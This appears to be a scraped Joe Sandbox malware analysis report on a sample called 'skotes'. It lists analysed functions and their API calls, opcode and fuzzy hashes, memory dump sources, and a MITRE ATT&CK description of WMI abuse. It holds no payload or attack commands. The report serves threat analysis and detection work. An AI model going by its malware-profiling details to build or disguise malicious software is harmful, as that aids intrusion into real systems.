Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 22138555c26c35a7d38107e1f61bfe1e0c41e5862b447ceb4c2636406104de34
Instruction ID: 2e221a7ce900ea8358c3530923bc5cfd00ba3416997095ef717eda9726b32fdd
Opcode Fuzzy Hash: 22138555c26c35a7d38107e1f61bfe1e0c41e5862b447ceb4c2636406104de34
Instruction Fuzzy Hash: D9E11871E0068C9BDB14BB29CD173AD7BB1AB82724F94129CE859773C2DB354E9097C2

Function 00EF6C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00EF6CF5

Strings

(c, xrefs: 00EF6CCC

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: (c
API String ID: 3472027048-4066220940
Opcode ID: 35b839bcb83e61f254ec91d3daa2dff27880da9a594981d60ed242353f074512
Instruction ID: ee00253cfba677e9087f51cbc7c798402e31042aacd74c188bf0175d72676915
Opcode Fuzzy Hash: 35b839bcb83e61f254ec91d3daa2dff27880da9a594981d60ed242353f074512
Instruction Fuzzy Hash: 72F0DC72A00A58ABC700BB689D02B2EBBB4EB46B60F900258F821773D1EA305A0057D3

Function 00EE8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00EE8524

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f13692af7f22a63e75703ebf8e66be916e587911c80df8542d0dd5001e27b5da
Instruction ID: ec77b21a9c3c032a8239933c838b6da7350ff76a35c4dc7dece1ddc12a09eb2c
Opcode Fuzzy Hash: f13692af7f22a63e75703ebf8e66be916e587911c80df8542d0dd5001e27b5da
Instruction Fuzzy Hash: 61516970D0028C9BEB24EB68CE457EDBBB4DB45314F5052A8E819B73C1EF349E848B91

Function 00F1B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,F9ABC52C,?,?,00EFD3FC,F9ABC52C,?,00EF7A8B,?,?,?,?,?,?,00EE7465,?), ref: 00F1B07E

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5680bde84fd2d4cd5c3a000d2f33c923d11e669ca3dc56cd3324f2cc17db001f
Instruction ID: 744f59fe547ed3c16ff540282421dc2afd52c9d8b4bd76fae741f03126cdac63
Opcode Fuzzy Hash: 5680bde84fd2d4cd5c3a000d2f33c923d11e669ca3dc56cd3324f2cc17db001f
Instruction Fuzzy Hash: 1DE02236A01226E6EB3032768C00BEFB648CF4A3F0F060210ED6892090EF60CCC0B2E0

Function 049F0CA2 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a889fcc03da7024bbb9880df59889f7d2764b6c6f746bfb0ccf4cd257d0e0c95
Instruction ID: 69424aaadebb850a7b73c017d5f3f8c7a05bc9dde93812761fbccc79a97897bf
Opcode Fuzzy Hash: a889fcc03da7024bbb9880df59889f7d2764b6c6f746bfb0ccf4cd257d0e0c95
Instruction Fuzzy Hash: 65118CE724D224BEA14251826F546FA3B5FE5C63303308836F60B89A07F2953A997372

Function 049F0CA4 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b2546f32d272cdd62ed2639ea9e2bd0c7efb3ac6c85e8c3c1e80fdbd3581c4
Instruction ID: f8181ba65b179e1bd8e93b14cefd30e04dae37f54ac7c769e3b54b729aae2399
Opcode Fuzzy Hash: 31b2546f32d272cdd62ed2639ea9e2bd0c7efb3ac6c85e8c3c1e80fdbd3581c4
Instruction Fuzzy Hash: 03119EE724D324BEA14251826F546FA3A5FE5C63303308836F60BC9607F2D53A997372

Function 049F0CC1 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9ca140638b393043c35a332be584331fcff79e00a57cd84a17418d80299275
Instruction ID: a3c615a2722e2943a6e61fa84ca7fd9a0b77dba7e7cd98e4ed2e75744546d508
Opcode Fuzzy Hash: cf9ca140638b393043c35a332be584331fcff79e00a57cd84a17418d80299275
Instruction Fuzzy Hash: 8B11A0E724D311BEA14151815F106FA6B5FE5C63313308836F64B89503F2943A557332

Function 049F0D0B Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5239a2d56cf7fdd4f0df02bfb92d451f7371a735eb495280a63c667156f494b1
Instruction ID: e9485f5a93231c38028159a7f9915c031981283e0d53f9fa1c4d1930c500db84
Opcode Fuzzy Hash: 5239a2d56cf7fdd4f0df02bfb92d451f7371a735eb495280a63c667156f494b1
Instruction Fuzzy Hash: C31178A260D384EFDB0342B45E556B63F5EED4323433849BEDA868E103E242355AA322

Function 049F0CE6 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47bf9a86b323c964c2bbc2d16db6b716ed83f3ac148aa4cc8f38ba5344dc5fb
Instruction ID: 0580041b873340ccc9b67d65aa191f139acba1e3c2c5e39f0d6ee4bd32020870
Opcode Fuzzy Hash: d47bf9a86b323c964c2bbc2d16db6b716ed83f3ac148aa4cc8f38ba5344dc5fb
Instruction Fuzzy Hash: DA019EF6248315FEA24251815F14AFA3B6FE6C63303308C3AF60789507E2953A957732

Function 049F0D4B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 059de3e24face9c127edfedf83f68ef5aaa250d08a68d8fe3d23b82c1531fe13
Instruction ID: 24998af00cfde6500a6028ba55442b30095124cf00f663d8f72590974e78a2ab
Opcode Fuzzy Hash: 059de3e24face9c127edfedf83f68ef5aaa250d08a68d8fe3d23b82c1531fe13
Instruction Fuzzy Hash: 3E0171B7248315FEA14295815F546FA7B5FE6C63303308C3AF60B89507F2953A997732

Function 049F0D2A Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa90db64bc5e62b278664e96022152cc40c06c58b97c239cd477631098e79a5
Instruction ID: 0c9f70d1d22819ef00912fcffb8ee3dcb4403f015de454e30affd9de5040a736
Opcode Fuzzy Hash: 0aa90db64bc5e62b278664e96022152cc40c06c58b97c239cd477631098e79a5
Instruction Fuzzy Hash: 32F04CB664C311EE924691615D446B7775FED833343344C3AE20B8DA03F2443295B7A2

Function 049F0D77 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2567512e824bc6124c77b90116963a2bb8d21929eaae112b563aee2e28de5ae9
Instruction ID: 8168b20d3b67067de7ed9bc82433ec28797a155bbd83438d3466109162ef6b5d
Opcode Fuzzy Hash: 2567512e824bc6124c77b90116963a2bb8d21929eaae112b563aee2e28de5ae9
Instruction Fuzzy Hash: EAF027A379C325DE814611915E042BB3F4FE9973343314C3AE2478E647B14835E1B312

Function 049F0D5A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb7e09809df6074790d5284f3d08cb795c57556bfec62a89c23c1286b4105fe
Instruction ID: 93f1a20d2e26b5970e7952e0c8b90e102b4aca2158409fe8b515d8df20937fee
Opcode Fuzzy Hash: fcb7e09809df6074790d5284f3d08cb795c57556bfec62a89c23c1286b4105fe
Instruction Fuzzy Hash: 49F055A239D314EFC24120516E143F3379F96923313700D35F2878D183B2A431927742

Function 049F0D43 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4115912265.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9ce4271d1b1efdf84720505fca148e757b7b5ff4977f41d02f395d9045543c
Instruction ID: 7ede8e1547b2748fd09d8a90a31f4c3a4e85db44e8c10a3d86b705a4af870e1f
Opcode Fuzzy Hash: 6a9ce4271d1b1efdf84720505fca148e757b7b5ff4977f41d02f395d9045543c
Instruction Fuzzy Hash: 59E0DFA379C321EE918551825E142B63B8FA4973313304C3AF64B8D647B18836A53323

Non-executed Functions

Function 00F1652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c1e748a5a4425135ebce65b1ca60943e36c57466e398a0c20c6d92097c58c6
Instruction ID: 6e25135f6dc0b1e9031b3942d57a281ea708a27ad25ba558246bd45f59ca5bca
Opcode Fuzzy Hash: c9c1e748a5a4425135ebce65b1ca60943e36c57466e398a0c20c6d92097c58c6
Instruction Fuzzy Hash: 31E08630441208AFDF257B18CD19DC93B5AEB91755F040910FC1896121CB39EDC1D980

Function 00F1A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 965e4b4951f00d5461ff1775ee52c079cfd4ffa1b3a72540e4d879f0ef090725
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 2DE08C72922228EBCB15DB98C904ACAF3ECEB49B10F65009AF511D3150C274DE40D7D0

Function 00EE2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EE2F5F
GetCurrentThreadId.KERNEL32 ref: 00EE2F7E
__Mtx_unlock.LIBCPMT ref: 00EE2FCC
__Cnd_broadcast.LIBCPMT ref: 00EE2FE3
__Mtx_unlock.LIBCPMT ref: 00EE30F5
GetCurrentThreadId.KERNEL32 ref: 00EE3132
__Mtx_unlock.LIBCPMT ref: 00EE319B

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: c6b2574049e47a719d7c61e0d111c83c7f096deb2ea1974ff1be4fe3634993d1
Instruction ID: a74032a7a513c92f19e270af8f4add9c58e64381fc22a24c95f0b4cb0a989e7e
Opcode Fuzzy Hash: c6b2574049e47a719d7c61e0d111c83c7f096deb2ea1974ff1be4fe3634993d1
Instruction Fuzzy Hash: ABA1F270A0164D9FEB20DF76C94876AB7E8FF15318F209129E915F7241EB31DA04CB91

Function 00F14840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F14877
___except_validate_context_record.LIBVCRUNTIME ref: 00F1487F
_ValidateLocalCookies.LIBCMT ref: 00F14908
__IsNonwritableInCurrentImage.LIBCMT ref: 00F14933
_ValidateLocalCookies.LIBCMT ref: 00F14988

Strings

csm, xrefs: 00F1491D

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f715dd2f26735fbec3aadffb23617e91efea66562d3cb3c2469fc0453dbf7624
Instruction ID: 430afe9decfdc16391d4cbddbe7430c6a0e7ced4015a51473b652bb72cc366ed
Opcode Fuzzy Hash: f715dd2f26735fbec3aadffb23617e91efea66562d3cb3c2469fc0453dbf7624
Instruction Fuzzy Hash: F251F830E002089BCF10DF68DC80AEF7BB5AF85334F548055E8189B352D736E996EB91

Function 00F1CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F1CC66

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 42ab3555e35fbfa9aa9e0845f40f3bb6dd30284ec2cc38d229e8897d4e9a8e8c
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 87B15432D442959FDB15CF28C8817FEBBE5EF45350F14816AE854EB242D6389D82EBE0

Function 00EFBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EFBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EFBBE4
_xtime_get.LIBCPMT ref: 00EFBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EFBC13

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 2d94b4d219e99ae7de45722d8753362c8743453e07ec930dcf3bbd0a81ca3507
Instruction ID: 87ffb04c31d99a6780753a4c3dc27b6cca9a4e22333a6017999ee01ba03b36a8
Opcode Fuzzy Hash: 2d94b4d219e99ae7de45722d8753362c8743453e07ec930dcf3bbd0a81ca3507
Instruction Fuzzy Hash: E4211B76A0011DAFDF00EFA4DD819BEB7B9EF48714F611425FA05B72A1DB309D019BA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
